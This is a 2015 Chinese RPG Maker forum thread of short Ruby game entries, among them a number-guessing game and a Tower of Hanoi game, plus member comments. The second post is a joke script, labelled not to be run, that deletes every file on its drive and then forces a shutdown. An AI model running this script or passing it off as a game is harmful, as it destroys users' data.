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楼主: 冷峻逸
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[原创发布] [申办论坛活动]70行代码写游戏

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Lv3.寻梦者

梦石
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发表于 2015-10-5 14:01:35 | 只看该作者
本帖最后由 寒冷魔王 于 2015-10-5 15:27 编辑

RUBY 代码复制
  1. module Game
  2.   def self.start  # 2.0
  3.     number = rand(100) + 1  # 1 to 100
  4.     count = 0
  5.     puts("Guess the number!")
  6.     loop do
  7.       puts("Please input your guess.")
  8.       count += 1
  9.       puts("Please input right number.") while ((guess = gets.to_i) == 0)
  10.       if (guess == number)
  11.         puts("You win!")
  12.         puts("You cost #{count} turn#{count==1?'':'s'}.")
  13.         system("pause")
  14.         return
  15.       else
  16.         puts(guess > number ? "Too big!" : "Too small!")
  17.       end
  18.     end
  19.   end
  20. end
  21.  
  22. Game.start


改自https://kaisery.gitbooks.io/rust ... 8C%9C%E7%9C%8B.html

点评

↓↓(*/ω╲*)不要这么说啦,英语太烂打错很正常啦~  发表于 2015-10-5 15:08
↓↓VX你需要一个控制台,参见【链接点此】,里面的VX控制台输出方法  发表于 2015-10-5 15:07
trun -> turn  发表于 2015-10-5 14:54
有使用说明吗,直接放到VX脚本里报错呢  发表于 2015-10-5 14:34
SRPG on RM 项目研发组 正式成立。目前SRPG·RMVA系统进度88.8%。SMRC Kernel 进度90%
↖(^ω^)↗热烈庆祝~SMRC Ver5.1 SRPG战棋地图移动范围生成脚本正式发布~~
-----------------------------------------------------------------------------------------
SMRC具有高性能、高兼容、定制自由、使用方便的特点。
1.性能,100移动力轻松算出,无压力;
2.兼容,RGSS1-3通吃,效率保证;
3.支持移动形状定制,支持4方位、6方位、正方形或其他任意有移动规律的形状;
4.可以充当高性能寻路来使用。
【链接点此】
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【2016/01/06更新 | 改版】RM脚本编辑器Gemini
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Lv3.寻梦者 (版主)

…あたしは天使なんかじゃないわ

梦石
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开拓者贵宾

12
发表于 2015-10-5 15:01:51 | 只看该作者
本帖最后由 taroxd 于 2015-10-5 15:39 编辑

除了楼主之外请不要运行

未测试

RUBY 代码复制
  1. #!/usr/bin/env ruby -wKU
  2.  
  3. raise 'windows only' unless RUBY_PLATFORM =~ /mingw|mswin32/
  4.  
  5. # D:/**/*
  6. Dir.glob(__FILE__[0, 3] + '**/*') do |filename|
  7.   File.delete filename rescue next
  8. end
  9.  
  10. `shutdown /p /f`

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显然不是电脑上所有文件  发表于 2015-10-5 16:15
是不是删掉电脑上所有文件  发表于 2015-10-5 16:09
噗  发表于 2015-10-5 15:05
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Lv4.逐梦者 (版主)

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开拓者贵宾剧作品鉴家

13
发表于 2015-10-5 16:18:25 | 只看该作者
本帖最后由 RyanBern 于 2015-10-5 16:25 编辑

一本正经地发工程。小7说的是真的么?平时答题都没糖所以坐等小7赞助
以下工程需要RGSS102J.dll,修改的话需要RMXP。如果不符合要求请告知
RUBY 代码复制
  1. module Hanoi
  2.   Max_Plates = 4 # 最大可设置为 6
  3.   def self.start
  4.     self.create_ui
  5.     @pillars = [Array.new(Max_Plates){|i| i}, [], []]
  6.     @hold_index =  -1
  7.     loop do
  8.       Graphics.update
  9.       Input.update
  10.       self.update
  11.     end
  12.   end
  13.   def self.create_ui
  14.     @sprite_title = Sprite.new
  15.     @sprite_title.bitmap = Bitmap.new(640, 32)
  16.     @sprite_title.bitmap.draw_text(0, 0, 640, 32, "将所有盘子移动到红色柱子上,且不能把大盘放到小盘上!", 1)
  17.     @sprite_pillars = Array.new(3) do |i|
  18.       sprite = Sprite.new
  19.       sprite.bitmap = Bitmap.new(16, 320)
  20.       sprite.x,sprite.y = 100 + 208 * i, 128
  21.       sprite.bitmap.fill_rect(0, 0, 32, 320, i == 2 ? Color.new(200, 0, 0) : Color.new(255, 255, 255))
  22.       sprite
  23.     end
  24.     @sprite_plates = Array.new(Max_Plates) do |i|
  25.       sprite = Sprite.new
  26.       sprite.bitmap = Bitmap.new(192 - 32 * i, 32)
  27.       sprite.ox,sprite.x,sprite.y = sprite.bitmap.width / 2, 108, 416 - 32 * i
  28.       sprite.bitmap.fill_rect(0, 0, sprite.bitmap.width, 32, Color.new(200, 200, 200))
  29.       sprite
  30.     end
  31.     @arrow = Arrow_Base.new(nil)
  32.     @arrow.x,@arrow.y = 108, 96
  33.   end
  34.   def self.update
  35.     @arrow.update
  36.     if Input.trigger?(Input::LEFT)
  37.       @arrow.index -= 1
  38.       return
  39.     end
  40.     if Input.trigger?(Input::RIGHT)
  41.       @arrow.index += 1
  42.       return
  43.     end
  44.     @arrow.index %= 3
  45.     @arrow.x = 108 + @arrow.index * 208
  46.     @sprite_plates[@hold_index].x = 108 + @arrow.index * 208 if @hold_index != -1
  47.     if Input.trigger?(Input::C)
  48.       if @hold_index == -1
  49.         return if @pillars[@arrow.index].empty?
  50.         @hold_index = @pillars[@arrow.index].pop
  51.         @sprite_plates[@hold_index].y = 64
  52.       else
  53.         return unless @pillars[@arrow.index].empty? || @pillars[@arrow.index][-1] < @hold_index
  54.         @pillars[@arrow.index] << @hold_index
  55.         @sprite_plates[@hold_index].y = 416 - 32 * (@pillars[@arrow.index].size - 1)
  56.         @hold_index = -1
  57.         if (0...Max_Plates).to_a == @pillars[2]
  58.           print "You win!!"
  59.           exit
  60.         end
  61.       end
  62.     end
  63.   end
  64. end

附工程: ProjectR.rar (191.7 KB, 下载次数: 37)   

点评

改Max_Plates 木办法改数目。。。  发表于 2015-10-11 20:45
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